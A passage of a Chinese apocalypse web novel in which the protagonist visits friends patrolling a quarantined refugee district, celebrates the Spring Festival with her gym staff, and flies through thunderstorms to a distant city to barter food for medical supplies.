那些人也不是真的不要命，见SUV没有停车的意思，反而想要直接撞过来，他们立刻在地上滚了几圈，避开了车辆的前进路线。 他们的动作非常熟练，一看就是已经重复过很多遍的了。 看着路上或单独行动或三五成群的男男女女，她忍不住皱眉——这些人怎么没住在营地？反而住得这么分散？ 现在正是段霞三人的午休时间，秦小薇到的时候，她们正和队友们一起，一人拿着半袋能量饼干，蹲在路边，就着保温杯里的水啃能量饼干。 三人看上去有些憔悴，头发油成一缕一缕的，脸上的黑眼圈也非常明显，一看就很久没好好休息了。 秦小薇上次来的时候，在工作人员的组织下，营地里的帐篷都是整整齐齐的，但现在，这边的帐篷却是稀稀拉拉的，东一顶西一顶，不少人都没了踪影…… 和市区欢欢喜喜准备过年的市民们不同，这边的气氛十分沉闷，大部分人脸上都死气沉沉的。 移动物资车边上也没有排成长队购买新春物资包的普通人。 看到秦小薇之后，三人非常惊讶。 段霞：“薇薇，你怎么过来了？” 秦小薇：“这不是快要过年了吗？老板给我们弄到了不少年货，我看你们天天在这加班也挺辛苦的，就找老板多弄了些，送过来给你们加餐……” 听到有吃的，原本还蔫哒哒的范槿瞬间来了精神：“薇薇，你太好了！都有什么？” 秦小薇朝后备箱走去，掰着手指头给范槿数了起来：“炒米糖、水果软糖、油茶面、熏肉肠、风干兔子……” “哇！这么多好吃的？”范槿的眼神更亮了，她边上原本正在啃能量饼干的同事也纷纷看了过来。 肖琳琳：“唉，可惜我已经离职了！要不然现在健身房的员工福利也有我的一份！” 秦小薇：“没事，还有我呢！我可以偷偷给你们开小灶！” 一个女生直接揽住了肖琳琳的脖子：“琳琳，咱们可是并肩作战的伙伴，苟富贵勿相忘啊！” 肖琳琳：“去去去！你上次偷偷喝肉汤的时候，怎么没想起来我是你的伙伴！” 虽然嘴上抱怨，但她却没把同伴的手从自己肩膀上打下来。 看她们的相处模式，秦小薇猜测，范槿她们应该和队友们相处得挺融洽的。 得知她们可以自己处理这些食物后，段霞直接拿出半袋炒米糖，和众人一起分了。 秦小薇也不嫌弃这里脏，她和大家一起并排坐下，和她们闲聊起来。 知道她是段霞她们的大学室友，队员们都对她非常客气。 “你是阳光健身房的店长啊？我知道，我之前在网上刷到过你们店！你这么小就当店长了？” “既然你是店长，那我以后去你们健身房办会员，报你的名字可以打折吗？” “可以，给你打八八折！” “……” 聊了一会，话题不知怎么转到了江安区的治安上。 “唉，这边真的好难管，和市区那边完全不一样，咱们天天24小时巡逻，都抓了这么多人去劳改了，还有人敢在咱们眼皮子底下顶风作案……我都想撂挑子不干了！” “这边别解封了！免得他们跑出去，祸害我们宁市人！” 秦小薇想到了来的时候，在路边看到的正在执勤的交警，好奇道：“解封？这边被封起来了吗？” 段霞点头：“这边好多人都犯过事，但因为他们当地管理混乱，都没被记录下来，官方干脆就把江安区封起来了，打算把这些人都抓了再解封……现在这里只允许本地人出入，外地人只准进不准出。” 秦小薇的表情变了：“我户 口是外地的，我该不会回不了家吧？” 范槿摇头：“没事！你暴雨之后就一直待在宁市，算是‘本地人’，他们扫一下你的身份证，就能查到你的信息，会放你出去的！” 见她这么说，秦小薇才放心。 众人又聊了一会，秦小薇从她们口中得知，原来这里不仅有嫖|娼，还有外地势力在这边搞赌博和人口、血液贩卖……卖血的人不少，血贩子抽血的时候，甚至都不给器具消毒，针头这些一次性耗材也是用钝了不能用了才换新的，还有人因此得了传染病。 现在医疗资源十分紧缺，上面一直在开会，讨论要不要给他们做体检筛查。因为就算筛查出来他们有传染病，宁市也拿不出那么多医疗物资给他们治病…… 除了毒品没沾，这里简直和市区是两个世界！ 第97章 第97章过年（双更合一）…… 秦小薇问范槿：“饭饭,你们过年会放假吗？” 范槿摇了摇头：“现在这种情况……不让我们熬夜加班都算是好的了！我爸还说他和人换了面粉，过年让我请假回去包饺子吃年夜饭，我估计是没戏了！” 秦小薇：“最近市区都在卖新春物资包,你们在这干活回不去,后面会补发吗？” 不知道是因为市政准备的物资包的数量不够,还是因为江安区这边的难民都是从别的地方迁过来的，在高层眼里,并不算宁市人,这边并没有新春物资包售卖，连带着在这里执勤的工作人员,也只能继续啃能量饼干。 段霞：“不补发，但是过年的时候会供应几天正常食物。” 秦小薇：“那也还行，物资包里那些东西,也吃不了几顿……这样一算,还是你们赚了！” 肖琳琳：“所以我已经在期待过年了！对了，薇薇，你今天怎么没把朔月带过来？” 有了一条可以光明正大养在外面的狗,秦小薇很难忍住不炫耀，她经常在群里发德牧的照片,室友们也都熟悉它了,还让秦小薇没事的时候就多发照片，让她们“云养狗”。 秦小薇：“路上太颠簸了，你们又一直说这边特别乱,我怕它会应激，就没带它过来！” 肖琳琳：“唉，那等我回去再去你家撸狗！” 秦小薇学着她的样子叹了口气：“唉，之前我一个人在家的时候,你没事从来不下楼主动来我家找我，现在有狗了，就要来了……果然，我的魅力还是比不上朔月啊！” 肖琳琳伸手挠她的胳肢窝：“薇薇，你别学我！” 秦小薇：“哈哈哈哈我错了！” 她一直待到三人午休时间结束，才开车离开，和来的时候一样，路上依旧碰到了好几波人拦车，秦小薇从巡逻队那知道，因为这几天抓得严，这些人是不敢明目张胆抢劫的。 但她要是真的停车了，这些人会乞讨、碰瓷……尤其是那些“团伙作案”的，不咬下她一块肉，他们是不会罢休的，难缠得很！ 所以碰到这些人以后，绝对不能停车。 因此秦小薇和来的时候一样，碰到拦路的人，也丝毫没有放慢车速停车的意思，她一路上都做出要撞过去的架势……才顺利到达交警们设置路障的地方。 就和室友们说的那样，江安区现在实行“宽进严出”的政策，来的时候，交警简单询问了几句就放行了，出去的时候，不仅扫了她的身份证，交警还和她核查了她的其他信息。 比如住址、工作、驾驶证……才放她离开。 离开江安区之后，秦小薇忍不住看了眼后视镜里正在执勤的交警，她恍惚中有种感觉，那一排拒马，就像是一道天堑，把宁市隔成了两个世界。 回到健身房后，秦小薇问前台：“我出去的时候，朔月没闯祸吧？” 前台：“它乖着呢！还有小姐姐给它投喂火腿肠，但是它没吃，全都给我了……喏，在这里！” 朔月已经习惯了白天在健身房“上班”，因为秦小薇拴了狗链还戴了嘴套，再加上朔月平时很安静，并不会随便乱叫，就算是胆小的女生，看到它之后，也并不害怕。 某些喜欢小动物的客人，看到它之后，还会专门停下来撸狗。 朔月性格很好，“上班”的时候虽然不会分心陪客人，但人家要是摸它，它也不会攻击人。 秦小薇笑了，伸手摸了下它的狗头：“不吃陌生人给的东西，做得不错！” 朔月用脑袋顶了下她的手，算是回应。 和朔月玩了一会，秦小薇就准备带它回空间里继续折腾年货了。 但她刚解开狗绳，手机就响了起来，是之前她拜托帮忙打探白云女子健身馆的情况的校友，章雯雯。 章雯雯：“秦小薇，我刚从白云女子健身馆出来，你现在有空吗？我来找你。” 秦小薇连忙答道：“有空，我就在健身房，就在学校边上的……” 章雯雯打断了她：“我知道地方。” 秦小薇：“你出门方便吗？要我去接你吗？” 章雯雯：“不用，我骑电动车过去，很快就到了。” 挂断电话后，秦小薇又把狗绳拴了回去，等待的时候，她还收到了一连串章雯雯拍的照片和视频，都是白云女子健身馆内部的布置和器材。 这些东西健身馆的官方账号也发了，不过大多是一闪而逝的画面，不像章雯雯，连器械的型号都拍下来了。 秦小薇点开照片和视频一一看了起来。 虽然对方教的课程和她们健身房差不多，但器材明显比她们健身房少很多，很多顾客都只能在边上排队等器材。 而且，他们虽然是女子健身馆，但用的器材，却不是女孩子专用的，而是普通健身馆淘汰下来的二手器材…… 研究了一会儿，秦小薇的心放了下来，虽然对方的价格比她们低，但健身房的配置也比她们低！ 对于维持现在的定价，她还是很有底气的！ 等了大概半个小时，章雯雯才到，秦小薇把她带去了办公室，给她倒了一杯果茶。 章雯雯抱着杯子，一口气干掉了大半杯温热的果茶：“好久没喝小甜水了！爽！” 秦小薇问了她在白云女子健身馆的经历，之后又找了个教练，让她在她们健身房上一节完全一样的体验课，对比一下。 结束后，章雯雯又和几个教练一起去了办公室，总结两家店的体验。 章雯雯：“……白云健身馆是不是照抄你们店？还是女子健身房的体验课都一样？两节体验课的内容几乎一模一样。” 一个教练忍不住气愤道：“当然是他抄我们，我们体验课的内容是我们几个教练商量后自己设计的，完全原创！” 章雯雯：“不过我觉得还是你们店里体验更好一点，他们店没开空调，我在那边刚上课的时候穿着外套活动不开，就把外套脱了，然后就觉得有点冷，上到一半的时候没那么冷了，但后面身上出了很多汗，出来被冷风一吹，就又觉得冷了……感觉多上几次课，就会感冒！” “你们健身房有空调，虽然淋浴间不能用，但是会提供热毛巾擦身体、让我换衣服，就好很多……” “还有这个！”她晃了晃手上的杯子，“你们健身房有免费的花茶，但那边连白水都要花钱买……” “还有，他们店有两层，但是那个钢板太薄了，我在一楼上课，楼上一直有人‘咚咚咚’，感觉整个房子都在震，天花板随时都会塌，特别可怕！不过你们健身房的价格确实贵了点！要是能降价，肯定能把流失的顾客抢回来……” “……” 和章雯雯聊了一会，秦小薇的心算是彻底放下来了，她留对方下来吃饭，章雯雯也没推辞，顺势就答应了。 请客感谢对方吃饭，自然不能太寒碜，秦小薇特地出门“买”了点菜，人太多了，她也没炒菜，只准备了两大锅火锅，让众人分成两桌吃饭。 章雯雯看着摆了满满一桌的盘子惊喜道：“哇！这也太丰盛了！” 和暴雨之前火锅店一个盘子就摆几片肉菜的做法不同，桌上每个盘子里的菜都堆得很高，分量特别足。 秦小薇：“也是你运气好，最近网上很多人在卖新春物资包里的东西，我也是捡漏！” 张雯雯：“嘻嘻。” 火锅汤底不是特地熬的，只放了火锅底料，但肉菜有牛肉、香肠、鸡肉和兔肉，且每份都有一大盘，这对众人来说，也非常丰盛了！ 她们甚至都没时间聊天，一直在埋头苦吃。 菜的分量太多，教练们今天都没开能量饼干，直接吃肉吃菜就吃饱了…… 章雯雯也对这顿感谢饭非常满意，她表示，秦小薇以后要是还需要她帮忙，随时可以找她。 很快，时间就到了年三十这天，因为市政弄的新春物资包，今年宁市过节的氛围还算浓厚，二十八的时候，秦小薇就宣布放假了，她还给员工们弄了一堆年货。 分量是新春物资包的好几倍，足够员工们放假这几天在家里吃了睡睡了吃，过个好年。 放假之前，秦小薇特地去银行取了现金，给每个员工都包了个大红包，祝她们新年快乐。 收到红包的教练都很开心。 有些员工有家人在外面住安全屋，秦小薇宣布放假之后，她们就收拾东西，短暂地搬出去了，还有一部分员工，孤身在宁市讨生活，回老家也不方便，只能在员工宿舍过年。 秦小薇特地准备了一些面粉和猪肉，年三十的晚上和留在员工宿舍的教练们一起包饺子跨年。 为了应景，楼下的小吃街，有不少小摊贩都在卖“福”字和对联，她们买了一些回来，贴在健身房和员工宿舍。 除此之外，有个教练手特别巧，还买了些红纸，剪了些窗花贴在屋里，让屋里充斥着过年的氛围。 除了饺子，她们还做了很多菜，加上秦小薇之前炒的花生和点心，在桌上摆了一大桌子，完全就是天灾之前年夜饭的配置。 方唯依：“这半个月吃得也太好了！隔三岔五就开荤，我喜欢过年……我现在有种回到小时候的感觉，那时候我最期待的就是过年了！” 秦小薇：“其实咱们这段时间的伙食，也就是暴雨之前普通家常菜的水平，也就今天格外丰盛一些……只要Q省能一直太平下去，恢复以前的伙食水平也就是时间问题。” 方唯依：“希望吧！我现在上网看到哪里哪里又出现天灾了，都觉得心惊胆战的！生怕咱们宁市也被波及……” 吃年夜饭的时候，众人还打开电视，播放春晚当背景。 可能是因为今年大家都过得格外艰难，电视台也不例外，连带着春晚的服化道水平都下降了许多，但大多数节目都很欢快，众人看得还挺开心的…… 秦小薇也难得没给朔月准备狗饭，让它跟着自己吃了一大盘胡萝卜猪肉馅的饺子。 她们一起待到八点多，秦小薇才牵着狗，腆着肚子回家。 到家后，她直接瘫在沙发上玩手机，许久没动静的年级群和班群今天也很热闹，很多人在群里互道新年快乐、发红包。 三个室友依旧在江安区执勤，不过范爸爸和范妈妈带着不少好吃的去看她们了，这个新年，她们也不算太孤单…… 秦小薇抢了几波红包后，自己也发了几个红包。 正当她在群里和室友们插科打诨聊天的时候，陆昼的电话打了过来，她皱了皱眉，接了电话。 电话接通后，秦小薇率先开口道：“陆昼，今天可是除夕，你不会现在找我干活吧？” 电话那头的人轻轻笑了一声：“没有，就是想和你说一句新年快乐！” 秦小薇愣了一下，他们现在已经是可以专门打电话互道新年快乐的关系了吗？ 她想了想，这几个月，他们的关系似乎确实缓和了不少。 她已经很久没和他动手了…… “秦小薇？你还在听吗？”陆昼的声音打断了她的思绪。 秦小薇：“啊？哦，新年快乐？香肠的伤怎么样了？” 陆昼：“能跑能跳，昨天带它去复查了，医生说它过完年就可以回去上班了。” 想到拉布拉多对工作的热爱，秦小薇忍不住笑了起来：“关了这么多天，它快憋疯了吧？” 陆昼：“这段时间还好，我没把它关笼子里，时不时放去走廊上跑两圈，它也没太闹腾……” 两人聊了一会，秦小薇敏锐地察觉到，他今天心情似乎格外好，连话都变多了。 秦小薇：“你今天好像很开心，碰到什么好事了？” 陆昼：“和家人一起过年，难道不值得高兴？” 秦小薇想到了上辈子的家人，沉默了。 陆昼似乎也意识到自己说错话了，转移话题道：“你的狗最近怎么样？” 秦小薇：“挺好的，我一周训练它两次，保证它的技能不会落下。” 她当初之所以领养朔月，就是因为它是从警犬基地出来的，关键时刻能帮她对付坏人。 她特地找陆昼要了训练警犬的视频，每周都会抽出一两个小时照着视频训练朔月，还会用空间里的兔子和鸡给它练手，免得它的技能荒废了，变成一只普通的宠物狗…… 两人又聊了一会儿，才挂断电话，秦小薇看了下通话时间，他们竟然聊了快半个小时！ 不过聊天内容大多围绕着两只狗，秦小薇觉得，他俩这通电话，特别像是两个家长在互相交流养娃经验…… 快乐的日子总是十分短暂，很快，春节假期就结束了，健身房重新开始营业。 不过员工们的伙食却没变差多少，秦小薇空间里的兔子实在是太能生了，孵蛋器里的小鸡小鸭小鹅也是几十只几十只的出壳，它们长得又快，她根本吃不完，隔两天就杀几只给员工们加餐。 连带着她杀鸡杀兔子的手艺都变好了！ 年后，段霞她们又在江安区待了大半个月，才被调回来，不过她们调回来之后，那边却没解封，那边的人依旧不准进入市区。 据说是因为卖血，那边很多人都有传染病，市政正在组织医护人员为他们救治。 当然，也有人在同城APP上发帖抗议，说宁市官方搞区别对待，APP上也有其他宁市的网友同情他们，觉得他们虽然是外地人，但都是同胞，市政不该区别对待…… 然后，市政就发了个公告，公布了目前筛查出来的、已经确诊了传染病的难民的总人数。 帮着他们说话的宁市普通市民瞬间哑火了，之后，事情的走向也完全变了，很多人都在网上发帖夸官方做得好，没把这些“移动病毒”放进市区“祸害”他们。 当然，也有不少人觉得江安区已经被宁市官方放弃了，通过各种途径“偷渡”去市区，但现在大数据联网，连买瓶水都要刷身份证，他们一旦消费，就会暴露行踪，然后被警察和巡逻队“遣返”回江安区。 当然，他们也可以在同城APP上买高价物资，线下交易，避开大数据的筛查。 但市政的公告发出来之后，很多本地人看外地人，就跟看行走的病毒似的，交易之前，都要求看对方的身份证信息，稍微不对，就直接打举报电话举报。 她们健身房一个教练，在网上找人交易干辣椒和八角的时候，还因为户口不是本地的，被人给举报了，差点被抓走…… 虽然有些市民的行为有些激进，但他们的行为却让那些难民在市区内寸步难行，直接被限制在江安区内治病…… 据说市政在那边专门划了一块地，让他们自己在那边建地下城，官方的态度很明显，打算把他们彻底和市区的居民分隔开。 秦小薇这段时间杀了不少兔子，也积攒了不少兔皮，她之前闲着没事，就在网上找了教程，打算自己把这些兔皮硝了。 虽然她成功了，硝出来的兔皮非常柔软，但兔皮掉毛掉得特别厉害，秦小薇硝 了几张皮子，就失去兴趣了。 某天，她去找陆昼帮忙杀兔子的时候，问他，这些兔皮该怎么处理。 陆昼：“做成褥子、衣服都行，再过半年，就要开始降温了，到时候它们能派上用场。” 秦小薇心里一惊：“降温？” 陆昼停下手上的动作，皱着眉回忆道：“嗯，会很冷，寒潮会让河流在瞬间结冰，就算燃着火盆在屋里烤火，也可能被冻死……还会下暴雪，我第一次出门找食物的时候，被冻掉了两个脚趾头。” 秦小薇的心情一下子沉重起来：“这么严重？” 陆昼点头：“不过你也不用太担心，地下城有供暖系统……还有半年，地下城肯定能如期完工！” Q省属于南方，每年冬天就算是最冷的时候，也只有零下几度，所以宁市之前的房子基本上没有供暖，大家多穿点衣服，开个小太阳、电热毯，一个冬天就这么过去了…… 听到他这么说，秦小薇顿时放心了，官方有准备就好！ 在她心里，官方还是很靠谱的！ 到时候她就一直待在家里，等低温结束了，再出门活动…… 之前解锁的牧羊场、裁缝店和绵羊都还没买，她还是抽时间把它们买了吧！ 牧羊场和裁缝店建好之后，毛衣和毛线也能生产了，纯羊毛的毛衣，应该比她之前买的腈纶毛衣保暖……她要不要去学学织毛衣？给朔月弄点保暖装备？ 不过极端低温天气，只给狗穿背心能行吗？腿会不会冷？ 秦小薇有些心不在焉，脑子里闪过许多乱七八糟的念头。 因为陆昼提供的消息，纵然秦小薇很不喜欢掉毛的兔皮，还是抽时间，把剥下来的兔皮都给硝了。 她自己用不了这么多兔皮，但到时候可以分给室友和健身房的教练们，宁市往年都不太冷，就算是天灾之前，市面上应对极端天气的防寒装备也不多，更别说是现在了。 秦小薇觉得，就算地下城有地暖，保暖的衣服鞋子也得有一两套，万一供暖出了问题，她们还能应应急，不至于冻出问题…… 除了兔子皮，她还收集了很多鸭绒和鹅绒，打算到时候直接给她们，让她们填充在羽绒服里面，增加保暖性。 不过低温要是真的来了，公寓楼估计也住不了了，关于员工宿舍的事，还得找陆昼帮帮忙…… 这天早上，秦小薇刚起床，就接到了陆昼的电话：“这两天有时间吗？陪我出个差？” 秦小薇：“去哪？” 陆昼答得言简意赅：“E省，风城。” 秦小薇：“这么远？去干什么？” E省距离宁市数千公里，之前铁路没被破坏的时候，坐飞机也要好几个小时，现在外省天灾频发，想过去就更不容易了。 陆昼没有回答她的问题：“我现在来找你，见面说。” 秦小薇想了想，答应了。 第98章 第98章雷暴（双更合一）…… 挂断电话后,秦小薇往灶台上放了一锅水，就去浴室洗漱了。 她打算煮一碗面当早餐，她算了下时间,原本计划等吃完早饭再和陆昼谈去风城的事,不过陆昼来得比想象中快很多,面条刚下下去，公寓大门就被他敲响了。 秦小薇开门放他进来,问他：“吃早饭了吗？” 陆昼摇头：“没有,刚下班。” 秦小薇看了眼外面已经大亮的天色，沉默了。 预警中心的工作强度也太可怕了！ 秦小薇：“我正在做早餐,顺便给你下碗面？” “嗯。”他轻轻应了一声。 秦小薇往锅里放调味料的时候，陆昼就站在门口，和她说此行的目的：“风城又叫药城,国内很多药厂都在那边,因为江安区爆发的传染病，现在宁市医疗系统的压力很大，急需各种医疗物资……我要带队去风城取一批药品。” 听到他的话,秦小薇手抖了下，生抽一下子倒多了,她用手指着自己,不可置信道：“你让我帮江安区那些难□□医疗物资？” 陆昼摇头：“运医疗物资有运输机，不需要你动手……机会难得，我想趁着这个机会再弄一批医疗物资,存在你那里……来回都坐飞机，我要是夹带私货太明显了。” 所以才找她这个人肉背包是吧？ 秦小薇松了口气，吓死她了，她还以为陆昼忽然转性,变得“大公无私”，要把她上交给官方呢！ 她想了想，风城虽然远，但坐飞机还是挺快的，跑一趟也耽误不了多少时间，便答应了。 秦小薇：“什么时候出发？” 陆昼：“今天下午，出发之前，我们先把空间里的物资整理一部分出来，方便之后交易……” 秦小薇：“啊？不是用钱买吗？” 陆昼摇头：“风城那边不要钱，只接受以物易物。” 秦小薇瞪大眼睛：“钱已经不管用了吗？” 陆昼：“分地方，那边现在情况不太好……通货膨胀很厉害。” 秦小薇顿时明了，就像是之前暴雨涨水的时候，物资一天一个价，有些菜都涨到了几百一斤……混乱的时候，纸币的购买力会大大降低。 人们会更加信奉，能握在手里的、实实在在的物资。 秦小薇：“行吧！先吃饭，吃完饭收拾物资。” 面里面还放了菠菜、荷包蛋和肉片，面汤很鲜，放在现在，也算是一顿丰盛的早饭了。 吃完面之后，秦小薇在群里交代了一声，才带着陆昼进空间里整理物资，早上没时间做狗饭，之前做的又吃完了，今天早上，她给德牧喂的是狗粮和水果。 狗粮不是从警犬基地带回来的那批，而是从陆昼囤的那一车高档狗粮里拿的。 朔月吃得很慢，看起来不是很喜欢，吃了四十多分钟，才把狗粮吃完。 陆昼想用粮食换医疗物资，他之前囤的物资里面，最多的就是粮食了，秦小薇的空间里一直在出产食物，消耗一部分也没事。 除了药之外，陆昼这趟还打算换些手术、检查用的医疗器械，在他的计划里，加上之前囤的，这趟换的东西至少能组建一个小型医院……部分东西属于高精尖产品，和食物不一样，它们以后可能没法生产，很难弄到。 秦小薇也就没提反对意见，不仅如此，她还把空间里那些吃不完的蔬菜、家畜也算上了。 主要是兔子和鸡鸭鹅。 这几样实在是太多了！根本吃不完！再让它们繁殖下去，秦小薇都想给兔子做绝育了！ 时间有点紧，他们也就没把家畜都杀了，只拿了一些塑料筐，把它们塞进去关上…… 他们一直忙活到下午，才把所有的东西打包好，秦小薇还花金币开了两块地，之后堆放医疗器械…… 陆昼用下巴指了下远处翻着肚皮晒太阳的 德牧，开口道：“香肠寄养在我爸妈那，你要把它送过去吗？刚好有个伴……” 秦小薇想到了之前地震的时候，他妈妈对自己的投喂，连连摇头：“不用，让它待在空间里吧，咱们明天这个时候应该能回来吧？” 陆昼微微颔首：“……如果顺利的话。” 秦小薇又问了他风城的情况，她上网查了下，网上说那边最近雷暴天气频繁，出行非常不方便。 陆昼：“没事，我都安排好了，不会影响交易的。” 听他这么说，秦小薇放心了。 就出去一天，秦小薇也就没带太多东西，只收拾了一个背包，就坐陆昼的车去机场了。 路上，她拿出手机，在群里说了声自己要出门的事，把健身房托付给了几个教练。 之前地震的时候，宁市的机场就被摧毁了大半，好在机场对此早有准备，一些重要的设施在地震之前就“抢救”出来了，地震过后，用压路机把跑道稍微修整一下就能继续使用。 虽然候机大厅还没完全修好，但这几个月，机场已经为宁市运送了不少物资。 到机场后，陆昼把吉普车停在路边，就带着她进了只剩一半的候机大厅。 下车的时候，秦小薇见他手上就提着一个电脑包，忍不住问他：“你出差不带行李吗？” 陆昼拍了拍后腰放枪的位置，又从宽大的外套口袋里拿出手机、能量饼干：“带了。” 秦小薇：“……” 进去的时候，她还有些担心，他的枪会被扣下来，但陆昼带她走的是VIP通道，他出示证件以后，甚至没有工作人员上来给他们安检。 秦小薇：“……”坐飞机还可以不用安检？ 陆昼似乎对这边非常熟悉，也没要工作人员领路，就带着她去了停机坪。 除了运输机，停机坪上还停着不少客机和直升机，周围还有不少正在忙碌的地勤人员，推着行李箱、刚下飞机的乘客。 单看停机坪，这里似乎和暴雨之前并没有什么区别…… 两人上了一架小型客机，他们上去的时候，飞机上已经坐了七八个男男女女了，和陆昼的松弛不同，他们的表情都很严肃，看到陆昼之后，众人纷纷站起来和他打招呼。 明明这群人里面，陆昼的年纪是最小的，但这些人在他面前，却表现得非常恭敬。 陆昼也丝毫不觉得不自在，简单和众人寒暄了几句，就找地方坐下了。 “陆部长，这位是……”一个穿着黑色羽绒服的中年女人看着秦小薇开口道。 陆昼：“一个朋友，去风城有点事，搭个顺风机……” 说完，他就双臂环胸靠在座椅上，闭上眼睛，准备补觉，其他人明白了他不想聊天的意思，也没再找他说话。 周围都是陌生人，他们聊的话题秦小薇也听不懂，她无意加入他们，便一直低头玩手机里的单机小游戏。 飞机很快就启动了，她注意到，舷窗外有好几架运输机，他们坐的客机，在运输机边上，就像个跟着大人一起出门的小朋友似的…… 一个多小时后，飞机忽然变得颠簸起来，机身剧烈地摇晃着，就算身上捆着安全带，秦小薇的身体依旧不断和座椅发生撞击。 外面正在下暴雨，下面的云层都是灰色的，雨幕冲刷在舷窗上，连带着外面的景色都变得模模糊糊的…… 秦小薇甚至有种飞机随时都会从空中坠毁的错觉！ 但飞机还在继续往前飞，机舱里的广播并没有响起来，也没有空姐出来和乘客们解释情况。 其他乘客有些骚动，但所有人都没离开自己的座位，只能从他们的谈话中，听出他们的担忧…… “唉，还是太着急了！应该晚两天出发的！” “晚两天也差不多，听说风城那边天天都是雷暴天气，到了那边，还是得经历这一遭！” “外面好吓人啊！” “……” 秦小薇吓得抓紧了身下的座椅，心里十分紧张。 这种天气，是不是要迫降？ 她记得上辈子坐飞机出差，每次遇到这样的天气，航班都会取消来着…… 陆昼也被晃醒了，他打了个哈欠，见秦小薇的脸色有些苍白，便开口道：“机长之前是开战斗机的，不会出事的。” 秦小薇：“……” 秦小薇不可置信地看着他：“不找个地方停下来，等天气好了再继续走吗？” 陆昼摇头：“不用，他们有经验！” 秦小薇：“……” 看着外面的暴雨，秦小薇忽然有些后悔答应陪陆昼跑这一趟！ 但她都上贼船了，现在也没法跑，只能……继续抓紧身下的座椅，免得身体在撞击的过程中受伤。 一般客机上的降落伞伞包放哪里来着？好像是座椅下面？降落伞怎么用来着？ 啊！！！！死脑子，快想啊！ 她记得以前坐飞机，会有空乘介绍遇到了紧急情况的应对措施，怎么这架飞机一直没有空乘出现？ 她仰头打量着头顶的按钮，判断它们的功能…… 秦小薇经历了人生中最紧张的十几分钟，她甚至连遗言都想好了…… 但不得不说，开战斗机的飞行员就是牛，就算外面下暴雨，他们依旧带着飞机平安穿过了雷雨区…… 直到机舱内重新变得平稳，秦小薇一直紧绷的脊背才瘫软下来。 她觉得有些冷，这才发现，自己刚刚出了一身的汗。 她转头看了一眼陆昼，他靠在座椅上，双腿交叠，正在玩手机，似乎一点都不紧张。 看他这么悠闲，秦小薇忽然就觉得自己的拳头有点痒…… 这家伙之前都没提醒她一句，是不是想看她的笑话？ 似乎是感受到了身旁的“杀气”，陆昼转头看了过来：“怎么了？” 秦小薇扯出一个假笑：“没事，有点饿了。” “这趟应该没有飞机餐……”陆昼皱了皱眉，从口袋里拿出能量饼干递给她，“吃点？” 秦小薇：“不用，我带了吃的！” 说着，她就从背包里翻出一颗过年的时候没吃完的水果软糖，拆开塞进嘴里。 陆昼：？？？ 陆昼张了张嘴想要说些什么，但最终还是没开口，他靠回座椅上，闭上眼睛，继续补觉。 秦小薇的心放下没多久，就又提了起来，因为一个多小时后，他们又经历了一场雷暴天气！ 远处不断闪烁的雷电像是一张蜘蛛网，正等着猎物迎头撞上去…… 她从其他人口中得知，这是因为他们已经进入E省的范围了，最近这边的雷暴天气非常频繁，连带着安全屋都不安全了。 金属导电，有时候，人住在安全屋里，可能就会莫名其妙触电被电死…… 为此，E省很多人都舍弃了安全屋，自己在地下挖了防空洞，暂时住在防空洞里。 飞机的外壳也是金属的，听到众人这么说，秦小薇顿时十分担心，要是飞机忽然被劈一下，她不会要去见阎王吧？ 可能是因为E省这边的天气确实很差，从出发以后就一直表现得很放松的陆昼也难得严肃起来，一直皱着眉盯着窗外的情况。 秦小薇吞了吞口水，看向身旁的陆昼：“这种天气，飞行员也有经验吗？” 陆昼的声音里满是不确定：“……可能？” 秦小薇忍不住抡起拳头捶了他一下：“我就不该和你跑这一趟！” 他还说已经安排好了！这种鬼天气，是能坐飞机出门的吗？ “嘶——”陆昼连忙伸手去拦她，“有人！你注意点！” 秦小薇：“……” 她瞪了他一眼，才收回手。 好在飞行员确实很有经验，他们绕过了雷暴云，并没有让客机和运输机被雷劈，最后平安降落在风城的机场。 机场的积水十分严重，秦小薇出门的时候穿的是一双皮制的防水短靴，应对一般的雨雪天气是没问题的，但这边积水都到她小腿了，她刚下飞机，走了没两步，鞋子里就进水了。 风城的温度比宁市还低一些，今天的最高温只有2℃，外面又是刮风又是下雨，就算撑着伞，雨水都一个劲往脸上扑，鞋子进水后，秦小薇顿时觉得一股凉意从脚上蔓延到全身。 机场的人就在飞机外面迎接他们，看到众人后，他们非常惊讶：“你们胆子真大，这种天气都敢起飞！” 陆昼：“没办法，市民们在等着我们带药回去！我们等得了，他们等不了！” “你们可真是一心为公！” 他们打了几句官腔，机场的人才安排他们进候机厅，和他们一起飞过来的运输机也不是空着的，里面装着很多风城需要的物资，都是宁市官方拿来交易药品的。 陆昼等人在机场等了一会，等风城官方的人到了，和他们交接了运输机里的东西，才去机场附近的酒店下榻。 酒店的房间不够，秦小薇得和同行的其他人挤一间，拿房卡之前，陆昼却忽然开口道：“她和我一间。” 此言一出，同行的其他人全都看了过来，暧昧的视线上下打量着两人。 秦小薇：“……” 可能是因为陆昼的身份比较高，所有人里面，只有他是单独一间房，秦小薇看了眼脚上湿透的鞋子，最后还是没反驳他的话。 穿着湿鞋子在没开空调的候机大厅里待了一个多小时，她的脚都快失去知觉了！ 赶紧进房间让她把鞋子换下来吧！ 秦小薇发现，拿到房卡之后，同行的其他人对她的态度明显热情了许多，一直在找话题和她聊天，有意无意地打听她的情况。 秦小薇简单敷衍了几句，就和陆昼一起进了房间，酒店给陆昼准备的房间非常宽敞，光是卫生间，就有两间，除此之外，还有客厅和阳台。 因为极端雷暴天气，酒店里只有一楼大厅有电，客房里没有电也没有热水。 不过秦小薇也不在意，换上干净的棉拖鞋后，她直接进空间 里烧了一锅开水泡脚。 她把脚搭在盆沿上，问陆昼：“回去可以不坐飞机吗？太吓人了！” 陆昼摇头：“有些地方没通路，开车回去估计会堵在路上！” 秦小薇皱眉：“机场的人不是说跑道上积水太深，没法起飞，风城所有的飞机都滞留在机场吗？这种情况，也能硬飞？” 陆昼：“看飞行员和塔台那边的评估吧，不行就只能让宁市那边等着了！” 见他作为领头人，都没有为了宁市市民舍生忘死的打算，秦小薇悄悄松了口气。 要是他真的打算不顾雷暴天气，强行起飞回宁市……她肯定是不会跟着的。 这种天气，坐飞机也太吓人了！ 她现在鸟狗双全，可不会为了那点物资涉险！ 陆昼拿起桌上一桶泡面，问她：“吃泡面吗？我去楼下接热水。” 风城这边的情况比宁市差很多，酒店能提供的晚餐就只有能量饼干和泡面。 秦小薇摇头，嫌弃道：“我进空间里吃。” 这一路太惊险了，她得搞点好吃的安慰一下自己！ 